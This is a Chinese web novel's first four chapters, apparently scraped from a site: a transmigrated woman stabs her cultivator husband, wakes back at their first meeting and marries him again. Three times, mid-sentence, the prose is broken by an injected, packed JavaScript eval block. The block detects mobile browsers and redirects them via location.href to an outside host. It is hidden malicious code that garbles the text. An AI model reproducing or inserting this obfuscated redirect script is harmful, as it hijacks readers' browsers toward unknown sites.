《重回捅夫君刀子前》 1. 楔子 已经是故事的最后一个节点了。 今日之后，便可以回到原来的世界。 * 卧房内，一位女子正在对着铜镜描着自己细细的眉，雪白纤细的手指正微微发着抖。 她刚刚给谢思量的茶水中下了迷|幻|药，会让他的灵力被封锁。不仅如此，按照剧情要求，她还要捅谢思量一剑，然后把昆仑百年浇灌而成的水心莲偷给这个世界的主角，宿渊。只有这样，她才能够回家。 事情为何会发展到如此地步呢，这还要从她暑假看的一本小说说起。 这本小说名为《妖神》，讲述的北海一只籍籍无名的小龙宿渊成长为世间第一妖神的故事。按照无数男频小说的剧本，主角会一路打脸曾经看不起他的人，以及全书的所有女性角色都会喜欢他，见到他都会“小脸微微发红，心跳加速”，并且甘愿为他付出一切。 好巧不巧，她穿越的便是这么一个炮灰角色。而且，还是胎穿。就是说，她已经在这个世界里待了二十三年了。 这位炮灰原来一心只有荣华富贵，与谢思量成婚便是这个原因。因谢思量是无情道弟子，清心寡欲，冷心冷情，二人成亲后只有道侣之名，并无道侣之实。所以在一次宴会上碰到了宿渊后，她与宿渊便旧情复燃，开始了自己的倒贴生涯。 宿渊被仇家追杀灵脉尽断，需要水心莲救治，而水心莲又是昆仑耗百年灵力浇灌而成，一般人取不得。她从谢思量手中偷下水心莲后，便将水心莲给了宿渊，最后被宿渊推下悬崖，死无葬身之地。 当姜揽月从系统口中得知自己要走的剧情后，她沉默了许久，怎么会有这么脑残的剧情？？ 但是无奈，系统告诉她，如果想要回到原来的世界，必须要这样做。 所以，自穿越后，姜揽月便按照系统的要求一步步走剧情，如今，终于来到了她剧情的最后一段。结束这一段剧情之后，她便可以下线回家了。 内心砰砰直跳，一想到可以回到原来的世界，她便感到欣喜若狂，但是转念又想到接下来要给谢思量捅刀子，她又感到非常忐忑。 敢给谢思量捅刀子，她估计是第一人。 谢思量是谁？ 谢思量可是当今的正道第一魁首，天榜第一，昆仑宗最年轻的长老。 其实，原主最开始和谢思量成亲，完全是因为一场意外。 当时，谢思量因和上古恶妖战斗，险些丧命。原主当时正巧遇上了他，彼时的原主还是一个只喜欢钱财的单纯少女。她见到谢思量奄奄一息，认出了她是四年前的天榜第一，便用家中母亲死前留下的鲛珠救了谢思量，代价是谢思量与她成亲，许她一世荣华富贵。 谢思量同意了。 二人成亲后，谢思量便向当时说的那样，给了她荣华富贵。而且由于谢思量本人是无情道剑修，成亲后他甚至很少回玉霄殿。于是姜揽月走完这段剧情后，便一直过着老公不回家，一个月还有几百万灵石的好日子。好日子过了四年，脑海里的系统又来了，说她曾经暗恋宿渊，现在要去把水心莲交给宿渊。不过由于水心莲是昆仑至宝，所以她还得捅谢思量一刀才算完成这个剧情。 听到这个任务的时候，姜揽月愣了。她的第一反应是谢思量怎么办？不会要把他捅死吧？ “当然不是，谢思量哪有这么容易死。只是为了表达戏剧冲突，表现人物之间的情绪。”系统回答道。 姜揽月点点头，确实，以她的修为根本不至于能把谢思量捅死，重伤都做不到。脑袋里的小人斗争了一下，这些年就当一次剧本杀吧。 两个世界相比，她更喜欢原来的世界。 她得回家。 但是，这个表现人物情绪，怎么感觉只表现了她的蠢和恋爱脑呢？ 她之前和宿渊接触过一段时间，觉得此人只是平平无奇一少年，顶多也就是身边围绕的女人多了点而已，当时的她还不知道，故事的最后，竟是宿渊将她推下悬崖。 唉，姜揽月内心叹了一口气，毕竟这只是一部男频龙傲天后宫小说，她能要求什么呢？ 涂上最后的口脂，姜揽月理了理妆发。 按照剧情，在见宿渊之前还要好好打扮一番。 镜中的少女妆容精致，一双桃花眼天生含情，笑的时候眼中好似有桃花盛开。 其实姜揽月是懒得管这些的，但是想到今日结束之后就可以回家，她又觉得这个可以算回家前的仪式感。 将水心莲放入芥子金珠中，姜揽月抬脚准备离开玉霄殿， 玉霄殿，这个我生活了四年的地方，拜拜了。 最后望一眼殿内的陈设，不出姜揽月所料，谢思量出现了。 “你拿了水心莲？”青年的声音如破冰玉碎。 姜揽月下意识想说没有，但是水心莲被谢思量的心头血浇灌过，所以谢思量可以感应到。 “你要拿水心莲给谁？”青年又开口道。 面前的青年乌发如瀑，面无表情，他薄唇微抿，乌黑的眼睫好似蝶翅，气质如漱冰濯雪。抬眼看向姜揽月的时候，一双琉璃般的眼睛仿佛能洞穿人心。 谢思量毫无疑问是美的，但此刻姜揽月无心欣赏颜值。 她垂下双眼，不敢与谢思量对视，在心中给自己打气道这只是一场剧本杀。 这场剧本杀结束后，你就可以回家了。 “这和你无关。”女子的声音有一丝不易察觉地颤抖。 “这是昆仑至宝，我不能让你带走它。”青年指尖凝起灵力，但很快，他发现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924706|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己中了迷魂散。 谢思量眉头微蹙，声音依旧不含任何情绪：“你给我下了迷魂散。” 青年用的是肯定句，因为他从没有对姜揽月起过疑心，可以说不可能有第二个人有机会给他下迷魂散。 姜揽月内心泛起一阵苦涩。 对不起，谢思量，这也不是我想做的，但我必须得回家。 没有我之后，你会青云直上的。 这样想着，她猛地抬手，趁谢思量不注意，思君剑便插入了面前青年的胸膛。 说来也是讽刺，这思君剑还是谢思量赠与她的。当时她兴致来了要习剑，谢思量便从剑阁给她拿了一把剑。 姜揽月的手微微发抖。 但是刀剑不留情，青年雪白的衣袍渗出了鲜红的血迹，滴滴答答，仿佛雪中的红梅，刺目非常。 玉清峰种满了梨花，此刻一朵梨花飘到了思君剑上，衬得青年的伤口更加骇人。 玉白的花瓣被鲜血染红。 谢思量发出一声笑声，他自嘲道：“就这么想把花拿走？” 姜揽月有些许恍惚，谢思量居然在笑，她很少见到谢思量笑。 但是事情已经发展到这一步了，不能后悔。 她按照系统的指示，恶狠狠道：“对。我和你成亲，只是为了利用你。” 其实她是有点不解这个台词的，四年前她和谢思量成婚之初，便说好了一颗鲛珠换一世富贵，二人对此都心知肚明，现在说这个台词让她觉得自己是个小丑，谢思量怎么可能在乎？ 玉霄殿内杀意暴动，姜揽月知道谢思量在忍，不管怎么说谢思量都是化神期修士，而她只是一个元婴，若是谢思量想，怎么可能真的拦不住她。 “一命还一命，从此以后，我们便再无瓜葛。”青年垂下眼睫，遮住了眼中的沉郁。 原来他在说当年的那一颗鲛珠。 “好，没瓜葛就没瓜葛。” 姜揽月最后丢出这句话，头也不回地跑了。 * 之后的事情，便像系统说的那样，她跑到了不悔崖，将水心莲交给了宿渊。 黑云压城，罡风呼啸。 不毁崖的风很大，刮得她的脸生疼。但是这点疼根本影响不了她此刻激动又期盼的心情。 这么多年了，她终于可以离开这个世界了！ 终于可以回家了！！！手机电脑游戏我回来了！！！ 哈哈哈哈哈哈哈哈哈哈！！ 姜揽月的心此刻被喜悦充盈。 随后，不等宿渊推她，她便毫不犹豫地从崖上跳下。 老天，她终于可以回去了，这么多年了，终于可以回到原来那个世界了。 姜揽月怀着这样的期待，跳下了悬崖。 2. 重生（一） 太虚海，雷声轰鸣，天空一片灰暗，大雨倾盆而下，如同断了线的珠子，荡起阵阵波涛。 满是藤蔓的山洞中，昏暗无比，只有角落处的灵菇散发着点点亮意。四周水汽浓重，空气粘稠，令人感觉每一个毛孔都被堵住了。 角落处昏睡着一位少女，少女白净的脸上细眉紧紧蹙起，冷汗涔涔，不知道在梦中经历了什么可怕的事情。 又是一声雷鸣。 “轰隆！” 少女猛然睁眼，入目是一片黑暗。她缓了许久，待目力适应这片黑暗后，这才发现自己正处在一个山洞之中。 不是，她刚刚才从不悔崖上跳下，按照系统所说，她这个时候不应该回到原来的世界了吗？ 怎么来到了一个乌漆嘛黑的山洞？这难道是她原来世界的山洞吗？ 姜揽月内心升起疑惑，她起身在山洞环视一圈，发现身边还昏睡着一位少年。少年的脸上有一根布条，被血水和污泥浸湿，已经辨认不出原来的颜色。 她走到少年身边，将他脸上的布条掀开—— “噗。” 姜揽月浑身的血液好似都涌向了大脑，瞬间气血攻心，吐出一口鲜血。 居然是谢思量。 女子纤细的手指扶着墙壁，大脑循环着无数“怎么回事怎么回事我不是应该回家了吗怎么还在这里到底哪里发生了错误啊啊啊啊啊啊我怎么还在这个世界啊？” 是的，没错，姜揽月并没有回到原来的世界，而是还在这个书中世界。 不仅如此，她还回到了她当初找谢思量成亲的时候。 为什么会这样？ 姜揽月深呼吸几口，让自己平静下来。然后开始在脑海中喊起系统。 “喂，系统系统，你在吗？我怎么还没回去？” “你不是说我跳下悬崖就能回去吗？为什么现在又见到了谢思量？” “喂？系统，你不要装死？” “喂，系统，你倒是说句话啊？” …… 就这样喊了许久，脑海中还是迟迟不见有人回应她。 姜揽月又感到气血攻心。 “噗。” 又是一口鲜血吐出。 好你个系统，不仅骗我，现在还装死。害我白白期待了那么久，还捅了谢思量一刀。 姜揽月感觉自己又要吐出几口血，她平复了一下心情，不能再吐了，身体是自己的，而且她本来修为天赋就不高，吐血损害的是自己身体。 擦了擦嘴角的血，她低下头，检查起谢思量的伤势。 少年面目憔悴，脸色苍白无比，还有点点血污于其上。但即使这样，也遮不住他的绝色容颜。 姜揽月指尖轻轻置于少年额头之上，感受到他的神魂稳定，看来她已经把那颗鲛珠喂给谢思量了。 想的没错，她确实回到了当初和谢思量成亲那会。 她瞥向身边的谢思量，少年双目紧闭，纤长的睫毛在脸上留下长长的影子。 真是一场孽缘。 上辈子因为给了你一颗鲛珠才牵扯出后面的事情，没想到这辈子在这里重生。若是时间再往前推一点，她可能不会选择来这里。 但是造化弄人，鲛珠还是给了谢思量。 姜揽月脑海中又浮现出不久前的事情，思君剑破开少年胸膛的时候，她的手还是抖的。 原以为所有的事情都会在那里了结，没想到又重新开始了。 少女擦了擦额角的冷汗。 谢思量对不起啊，但我当时真的太想回到原来的世界了。 盯着少年干涩的嘴唇，姜揽月有些恍惚。 上辈子和谢思量成亲后，他一直是高高在上，不染尘埃的，仿佛他生来就该如此。时间过的太久，久到姜揽月都忘了，原来谢思量也有这么狼狈的时候。 她起身走出山洞，准备去找点水和食物。虽然修士大都辟谷，但谢思量如今这番模样，必须得给他找点清水。 他们此时们正处在太虚海附近的山中，走出山洞，大雨不知何时已经停了。一轮巨大的明月悬挂在天际，月光皎洁。迎着月色，吹着海风，姜揽月清醒了很多。 她还记的上辈子自己的结局，其实按照书来说，应该是宿渊将她推下悬崖，死无葬身之地。但她当时太迫不及待了，便自己跳了下去。坠下悬崖的那一刻，她想的是终于可以回家了，却没想到再睁眼居然又回到了这里。 真是造化弄人，少女的嘴角牵起一抹自嘲的笑。 既然按照原著剧情不可以回家，那么这一辈子她便要按照自己所想而活了。 那个将他推下悬崖的人，这辈子她一定要报仇雪恨。 为了她自己，也为了谢思量。 这具身子修为不高，所以姜揽月不敢去太远的地方，若是遇到自己对付不了的妖魔就不好了。 她去海里捉了点鱼。还好，此时她还没过上在玉霄殿骄奢淫逸的生活，身子还是一如既往的轻巧。 捉了几条鱼后，姜揽月又去接了些干净的雨水。 当她做完这一切的时候，天已经泛起了鱼肚白。 少女眯起眼睛，晨曦在她眼中打着圈，如今天亮的真早啊。 自从上辈子嫁给谢思量后，她就过上了混吃等死的生活，每天睡到日上三竿，已经很久没见到日出了。 这让姜揽月的心情微微好起来，她眉眼有些缓和，再来一辈子，或许结局可以改变。 既然她回不去原来的世界，那就要在这个世界里好好活着。 * 等姜揽月拿着水和鱼回去之后，发现山洞空空如也。 她将水放到草垫上，咦，谢思量人呢？ 就在这时，一道冰冷肃杀的剑意猛地袭来，带着凛然的剑气，姜揽月的一缕黑发掉在了地上。 “你救了我？” 少女的动作顿住，再来一辈子，谢思量的性子还是这么多疑。 这就是他对待救命恩人的态度？ 姜揽月轻轻推开面前的观雪剑，声音清亮：“对啊，仙君，是我救了你。” “你金丹半碎，是我用鲛珠将你救好了。” 面前的少年微微垂下眼睫，随后他放下了剑，细长的剑自他手中消失。 他能感受到体内多的那一颗珠子。 “你是鲛人？”少年开口问道。 鲛珠乃鲛人的心，鲛人最重要的身体部位。若是一位鲛人失去鲛珠，那么他便离死亡不远了。 姜揽月没有说谎，他体内确实多了一颗鲛珠。 “你给我的是何人的鲛珠？” 若是鲛珠没了，鲛人也会死亡，所以这颗鲛珠肯定不是面前女子的。 “这是我母亲临死前留给我的。”姜揽月如实答道，这确实是她在这个世界的母亲留给她的。 鲛珠在关键时刻可以救命，就像如今这样。上辈子，姜揽月听从系统的安排救了谢思量，这辈子，没想到依旧是同样的结果。 谢思量神色晦暗不明，不知道有没有相信姜揽月的话。 一颗鲛珠，救下了一条命。 “如此恩情，你想要在下如何报答？”谢思量开口道，语气依旧很冷淡。 姜揽月眨眨眼，终于到这里了，这是她上辈子走的第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924707|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个重要剧情。虽然这辈子已经没有系统要求她这么做了，但她还是打算提出这个要求。 “我救了仙君，我要与仙君成亲。”少女脆生的声音在山洞中响起。 空气一片静默。 姜揽月也知道自己这个要求有些古怪，但是合情合理。 因为一颗鲛珠救了谢思量的命，而谢思量又是修无情道的，天生冷心冷情，不可能会喜欢上谁，他道侣的位置空着也是空着。所以上辈子他很直接的就答应了。 但是这次，他并没有像上次那样爽快的答应。 “哦？为什么要和我成婚？” 少年的语气竟然带着一丝好奇，好像他真的很惊讶。 ？ 上辈子他有这么问吗？ 好吧，不记得了。 姜揽月垂下眼睫，不敢与谢思量对视，怕被谢思量看出有什么不对劲。谢思量的眼睛像海底的冰，一向没有任何感情，跟他对视和审问犯人一样。 她道：“因为小女早已仰慕仙君多年，能够嫁与仙君，是小女此生的愿望。仙君年纪轻轻便堪破化神，一剑扬名九洲。自四年前小女在论剑大会上目睹仙君的英姿时，小女便心悦仙君。” 谢思量自小天赋绝伦，相貌精致，这种话可以说是从小听到大，所以并不为此所动。 少年的声音很轻，和水滴的声音一起响起，在洞中回响。 “那你可知我是个瞎子？” 什么？ 瞎子？ 姜揽月愣了愣，谢思量是在和她开玩笑吗？ 见少女迟迟不回答，谢思量勾起一抹嘲讽的笑：“果然还是嫌弃啊。” “那当然不是。“ 姜揽月猛地抬头望向谢思量的双眼，只见少年上挑的凤眸中是琉璃色的瞳孔，目光清明，澄澈明亮。和上辈子一摸一样，如果一定要说一点不同的话，那便是面前的这双眼较之前少了几分肃杀之意，多了几分柔和，似春日融化的冰雪。 怪不得初见之时他脸上有一道布条，原来是用来遮眼睛的。 奇怪，姜揽月微微蹙眉，上辈子她确实按照剧情要求，捅了谢思量一刀，但这和眼睛有什么关系呢？难道又是那个宿渊做的？或者是剧情安排的？ ”我说过，我仰慕仙君多年。仙君若是眼盲，那我便是仙君的眼睛。我愿一辈子服侍仙君，陪伴在仙君身边。” 之所以敢这么说，是因为姜揽月知道，上辈子谢思量成婚后一年可能都不会回来一趟，要么在闭关修炼，要么就在外除妖魔鬼怪。 听姜揽月噼里啪啦说了一堆，谢思量面上表情依旧淡淡的，姜揽月刚遇到他的时候觉得他好像一个面瘫，不过后来逐渐习惯了。 她捏紧了衣角：“小女可以问一下仙君的眼睛是怎么回事吗？当然如果仙君觉得冒犯的话那便算了。” 少年没有回避，直接说道：“曾经生了一场热病，之后便眼盲了。” “这样啊。”姜揽月有些疑惑，但还是说道，“那没关系，我说过了，仙君眼盲，就让我来做仙君的眼睛。我愿永远陪伴在仙君身侧。” 见谢思量还是不说话，姜揽月考虑到他可能觉得这会影响他修炼，毕竟他是无情道的。于是，她又补了句：“仙君，你不用担心，我是不会打扰你修炼的。你就当我用一颗鲛珠换一世富贵吧，这只是一场交换。” 清晨的日光洒在谢思量琉璃般的双眸中，勾勒出他谪仙般的容颜，但姜揽月根本猜不透他心中此刻在想些什么。 许久，少年的声音在寂静的山洞中响起：“我同意这个要求，从此以后你便是玉霄殿的摇光夫人。” 3. 重生（二） 谢思量的身子恢复的很快，约莫十来天，便恢复了原来的水平。 鲛人喜凉，而如今正是暑季，虽然在海边，天气却还是有些闷热。 于是，少女便将襦裙掀到了小腿处，袖口也被掀到了关节处，甚至有的时候将下半身化为鱼尾去海里游泳。仗着如今谢思量看不见，这些天她一直保持着这种“奇装异服”。 谢思量在山洞中运行里最后一个小重天后，他撩起眼皮，对姜揽月道：“走吧。” “嗯。”姜揽月应道，他们说好，等谢思量恢复好，便一起回到昆仑。 其实，如今她想和谢思量成亲还有一个原因。她现今的修为只到筑基，而那位宿渊不出意外的话最后是要飞升为妖神的，所以她必须也得好好修炼才行，这样才会有报仇雪恨的机会。 而昆仑灵气丰富，又是修仙界的一大宗门。跟着谢思量，她可以去昆仑修行，还能去昆仑蹭课，和其他弟子一起修炼。 上辈子和谢思量成亲后，她便过上了混吃等死的咸鱼生活。但这辈子，她不能这样做了。混吃等死，以后在这修仙界可能连怎么死的都不知道。 既然又来到了这个世界，那么便要好好修炼。 “你会御剑吗？”少年冷声道。 “仙君，我不是剑修啊……”姜揽月小声解释。 “……” 谢思量：“上来。” 少年脚下蓦地浮现出了一把剑，剑身细长，澄澈透明，剑刃上闪烁着银光，通体散发着冰雪之意。 “是观雪！” 许久不见观雪了，姜揽月有些激动。 谢思量淡淡抬眉：“你知道这把剑的名字？” 姜揽月咳嗽了一声：“早说了，我仰慕仙君多年，自然知道仙君的剑叫什么名字。” 如今谢思量看不见，她说起这些话来十分自然，不会有一分不好意思。 跳到观雪剑上之后，姜揽月忽地想起来自己的思君剑，那把剑是她想学剑时谢思量给她的。可是没想到，后来那把剑竟然会插到他胸口。 内心又泛起一阵苦涩。 不能总是沉溺于过去，要放眼未来，姜揽月在心中告诫自己。 上辈子的事情就让它过去吧，这辈子好好过就行，这不是又给了你一个补偿谢思量的机会吗？ 她忽地想到一个问题：“仙君，你如今眼盲，认识路吗？要不要我帮你认啊？” “化神期修士，与天地同感。”少年的声音伴随着清风一起传了过来。 姜揽月“哦”了一声，她都快忘了，原来这时候谢思量居然就已经到达化神了。 站在谢思量身后，鼻尖是淡淡的冰雪气息，是玉霄殿的味道。 如今再闻到这个气息，姜揽月只觉得很安心。 片刻后，姜揽月又小声开口：“仙君，我有些饿了，我们能不能去底下的集市歇歇？” 两人已经飞了快一天了，她是真的饿啊。 “你没有辟谷吗？”谢思量声音冷淡。 “我是鲛人啊，和你们人族修士不一样。”姜揽月辩驳道。 鲛人属于妖，本就对食物的欲望更大，尤其她还在那山洞边过了十来天，天天只能吃烤鱼，天知道她有多想念那些美食。 谢思量未言语，只是慢慢向下飞去。 “你同意啦！”姜揽月的眼中满是对食物的渴望，左手轻轻在谢思量肩上一拍，“仙君你人可太好了！我要一辈子跟在你身后！” 谢思量的脊背明显僵硬一瞬。 姜揽月内心一颤，她想起谢思量最讨厌和人有肢体接触了，因此在昆仑也一直独来独往。 少女连忙解释道：“仙君，对不起，我只是太激动了。” “你不要生气，好不好？以后再也不会了。” 谢思量眼睫轻颤，默了片刻后道：“无事。” 在最近的一处城池停下后，姜揽月一落地便到处询问路人市集在哪里。 二人就这样行了一段路，忽然，谢思量耳边传来少女低低的抽泣声。 如泣如诉，不绝如缕。 应该是少女的哭声吧？ 他内心一愣，她，这是饿哭了？ 还是他有这么凶吗？ 谢思量转头“望”向姜揽月：“姑娘，你怎么了？” 姜揽月一秒收起了哭声，道：“我在哭啊。” “……为何哭了？是发生什么事情了吗？” “仙君你不知道吗？鲛人的眼泪是可以化为珍珠的。”姜揽月又挤出几滴泪，道：“我身上现在没钱，你应该也没有带钱财吧。我哭点珍珠咱俩等会可以去换点钱财啊。” 据她上辈子的了解，谢思量身上可以说是一点铜臭味都没有，所以之前在玉霄殿的灵石都让她随便花，那段日子她过的真的很爽。 “原来如此。” 少年淡淡的应了一声，他确实是一分钱财都没有带在身上。 片刻后，二人在一个当铺前停下。姜揽月带了几十颗珍珠走了进去，出来后手中便多了好几颗碎银。 “嘿嘿，有钱了。”姜揽月很高兴，眉眼之间都是笑意。 走入一家食肆，二人坐到了一处角落处。 “谢思量，你吃不吃啊？” “我早已辟谷。”少年甚至都没撩眼皮。 “可你才恢复啊，吃一点吧，补身子。” 少女不由分说道：“小二，来两碗馄饨。” “好嘞！”小二爽快道。 待小二将两碗馄饨端上来后，姜揽月想到谢思量如今看不见，便帮他将勺子放入碗中，然后将碗推向谢思量。 “谢思量，快吃，你看你都已经这么瘦了。” 说完，姜揽月便没再管他，专注于眼前美食，自己先吃饱再说，这段日子里她真的饿的不行。 当她飞速吃完一碗馄饨之后，一抬眼，发现谢思量的碗中居然一个馄饨都没有少。 “啊？你不吃吗？”少女愣愣道。 “我说过，我早已辟谷。”谢思量抬眉。 “既然你不吃，那你给我吃吧，不能浪费。”姜揽月端起谢思量面前的馄饨。 谢思量点点头。 于是姜揽月又解决了一碗馄饨。 但是，两碗馄饨下肚之后，她还是感到很饿。 她有些犹豫，不知该说不该说。 “想说什么就直说。”对面的少年淡淡道。 “我还没吃饱，还想再吃一些，会不会有些耽误时间啊？” 谢思量内心叹气，都已经耽误到现在了。 “你想去便去吧。” “好。” 得到肯定后，姜揽月又点了一桌菜。 待姜揽月吃饱喝足了之后，二人才走出了食肆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924708|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “对了，你再等我一下，我还要去买个东西。”姜揽月又开口道。 “什么？” 少女语气神秘：“等会你就知道了。” 她扶住谢思量的肩膀：“走这边。” 谢思量：“……我知道走哪里。” “这不是因为你看不见，我担心你嘛。”她拉住谢思量衣角，“在这里等我一小会，我很快的。” 说着，姜揽月便转身进了铺子。 片刻后，少女走了出来，手中多了一串铃铛。 “叮铃叮铃。”银铃声清脆悦耳，正如少女的声音。 “嘿，谢思量你听，”姜揽月抬手，将手腕上的铃铛在谢思量耳边晃动，“这样以后你只要听到铃铛声，便知道我在哪里了。” 少女的声音和银铃的声音一齐落下。 谢思量无言：“……不用铃铛，我也知道你在哪儿。” 姜揽月收起铃铛：“以备不时之需嘛，假如以后再出现这种情况怎么办？” 她说的“这种情况”便是谢思量重伤这次，如今谢思量眼盲，肯定会影响到生活中的许多方面。这样若是出现了灵力封锁的情况，谢思量也能找到她，姜揽月觉得自己想的非常周到，不禁在心中给自己点了个赞。 听着“叮铃叮铃”的铃铛声，谢思量思考片刻，最后还是说道：“姑娘，你不必在在下身上耗费如此精力。在下早已说过，我修的是太上忘情之道。” “那怎么行？都说了，我要嫁给仙君，我要永远陪伴在仙君身边，自然得把这些事情考虑到。”姜揽月道，“这和你修的不是无情道没关系。” 谢思量不语。 过了一会，姜揽月又道：“对了，仙君，你可以帮我保守一个秘密吗？” 谢思量道：“你的身份？” 鲛人眼泪可化作珍珠，鲛珠可用来做药，若是被一些邪修知道后，会惹来一些不必要的麻烦。 姜揽月点头：“嗯。” 少年嘴角带笑：“为什么相信我？” 姜揽月不假思索便道：“因为我相信仙君啊，仙君定是知恩图报之人，我救了仙君，仙君怎么可能会出卖我。” 她说的正气凛然。 谢思量似是被一噎，道：“姜姑娘好像把我想的太好了。” 因为上辈子你就是这样啊，姜揽月心道，但这话不能直接说出来，便道：“这是直觉，我的直觉告诉我仙君是值得相信之人，不然我当时我为什么要救你。” “你的直觉？”谢思量笑道，“希望你的直觉是对的。” 片刻后，他又道：“还有需要买的东西吗？” “没有了。”姜揽月摇摇头，“我们回昆仑吧。” “嗯。” 随后，二便一起御剑来到了昆仑脚下。 昆仑山脚，抬眼望去，云雾缥缈。两道旁梨花纷纷，一片雪白，中间是一道看不到尽头的阶梯。 姜揽月内心咯噔一下，她怎么就忘了，昆仑前有三千级阶梯。 这不是重点，重点是这段云梯不能御剑，不能御风，不能用法术，只能一阶一阶走上去。 对于修士来说可能不难，但她只能算半个修士啊。 算了，虽然她身体不如修士，但旁边还有个瞎子呢，总比瞎子好吧。 这样想着，她转过头：“谢思量，我来扶你。” 4. 重生（三） 昆仑脚下，一位少年和少女相伴而走。 谢思量还未反应过来，姜揽月便扶住了他的胳膊。 “谢思量，我来扶你，这段云梯很长。” 隔着薄薄的衣料，他能感受到少女手上的温热。少女的体温与他不同，非常灼热，有一瞬好像能将他灼烧。 他触电似的收回胳膊：“不用搀扶，我能感应到，这条路我已经走过很多遍了。” 姜揽月应了一声，确实，这一世谢思量眼盲挺久的了，这些事情应该早就习惯了，而且他还是化神期修士，与天地同感。该担心的不是他，而是她自己才对，想想自己一介散修怎么登上这么长的云梯吧。 爬了一半后，姜揽月觉得自己的双腿都在发着抖，小腿如灌了铅一般怎么也抬不到前去。 好累，为什么一定要爬这个楼梯，她真的爬不动了啊。 反观身侧少年，即使走在云梯之上，他也身姿挺拔，长身玉立，乌黑的墨发被束成马尾，雪白的长袍曳地，撩起纷纷花瓣，如琢如磨，一尘不染。 姜揽月内心叹了一口气，觉得自己刚刚的担心完全是多此一举，谢思量果然还是那个谢思量，眼盲对于这种天才来说好像也不是问题。 她伸出手，拽了拽谢思量的衣角：“谢思量，我们歇会吧，我爬不动了。” 谢思量眉头微微蹙起，这才走到一半。 不过他并没说什么，只陪着姜揽月，二人一起在云梯旁歇息。 云梯两旁的梨花更加旺盛，清风吹来，雪白的梨花花瓣簌簌而落，铺满了云梯。 昆仑的梨花四季不败，一直用灵力维持着。上辈子她就非常喜欢这里的梨花，这辈子再看依旧非常好看。 姜揽月用手接过了一片花瓣，道：“谢思量，这里的梨花真好看。” “嗯。”少年淡淡应声。 抬眼看，面前的少年乌黑的发间和眼睫上，都落了雪白的梨花花瓣。 “有几朵花瓣掉到你发间了，还有睫毛。”少女惊呼，“我来帮你弄掉。” 说着，不等谢思量反应过来，姜揽月便蹭蹭上了两层阶梯，直至与谢思量平齐。 少女纤细的指尖抚去了少年发间的梨花。 谢思量未来得及躲闪。 有风吹来，他感到少女的发丝触碰到了自己的脸颊，带来了不属于梨花的香气。 是一股冷香。 或许这就是鲛人的味道吧。 “别动，还有眼睛。” 少年眼睫微颤，仿佛即将振翅的蝴蝶。 帮谢思量摘取眼睫上的落花之时，她不可避免地又要与那双眼睛“对视”。 少年肌肤白皙，容貌精致，恍如谪仙。他瞳色极浅，仿佛世间最明亮的琉璃。 如此近距离的观看，姜揽月不可避免的平息凝神，胸腔振动。不是他的眼睫像蝴蝶，而是她的心像蝴蝶一样在扇动着翅膀。 长成这样未免也太犯规了吧，她上辈子在这里的时候，便听昆仑的一些弟子说过，谢思量是昆仑美人榜第一。哦不对，不仅是昆仑美人榜第一，更是仙盟美人榜第一。 “好了吗？” 察觉到眼睫之上已经没有多余的东西，少年缓缓睁开了双眼。 琉璃般的瞳孔仿佛世间最澄澈的玉石。 上辈子，姜揽月一直不敢看谢思量眼睛，无他，就是因为谢思量的眼神太冷，没有一点情绪，冷冰冰的。但是这辈子，因为谢思量眼盲，所以姜揽月反而能大胆地直视他的眼睛了。 “谢思量，你的眼睛真好看。”少女的声音在耳边响起。 谢思量垂下眼，嘴角有一丝嘲讽：“好看？好看还不是瞎了。” 姜揽月自知踩中了谢思量伤心事，小声抱歉：“对不起。” 谢思量抬眉：“歇息好了吗？” “嗯。”姜揽月点头，“我歇好了，走吧。” 梨花洒满了阶梯，一路向上。鼻尖也萦绕这浓郁的梨花气息。 姜揽月的心情逐渐变好，昆仑宗，我回来了。 越往高处走，昆仑的弟子越多。 就在二人行走之时，周围频频有眼神望向二人。 二人对此都见怪不怪。 谢思量虽然看不见，但能感受到。他作为天之骄子，一举一动都受人注视，对此早已习惯。 而姜揽月既然决定了要“摇光夫人”这一身份，便早已也做好了被无数人注视的准备，上辈子便是这样，可以说当时“全昆仑都震惊了”。更何况她现今累的根本懒得管那些目光。 “那是谢师兄吗？” “什么谢师兄啊，要改口叫摇光仙尊了。” “谢师兄身边怎么多了一位女修？” …… 姜揽月听不到这些议论，但是谢思量却能对此听得一清二楚。 眼盲之后，他的其余四感更加敏锐。 耳边清脆的银铃声消失，少年转头道：“又爬不动了？” “没有，”姜揽月道，“我歇一小会，马上就爬完了，不用歇很久。” 谢思量有些无言，二人走这云梯已经走了约莫半个时辰了，若是他一人，一刻钟便能走完。 不能再耽误时间了。 他自袖中伸出手，少年手指修长漂亮，骨节分明。 “手拿过来。” ？ 这是要牵着她的意思吗？ 姜揽月快要被累迷糊了，想都没想到便将手伸了过去。 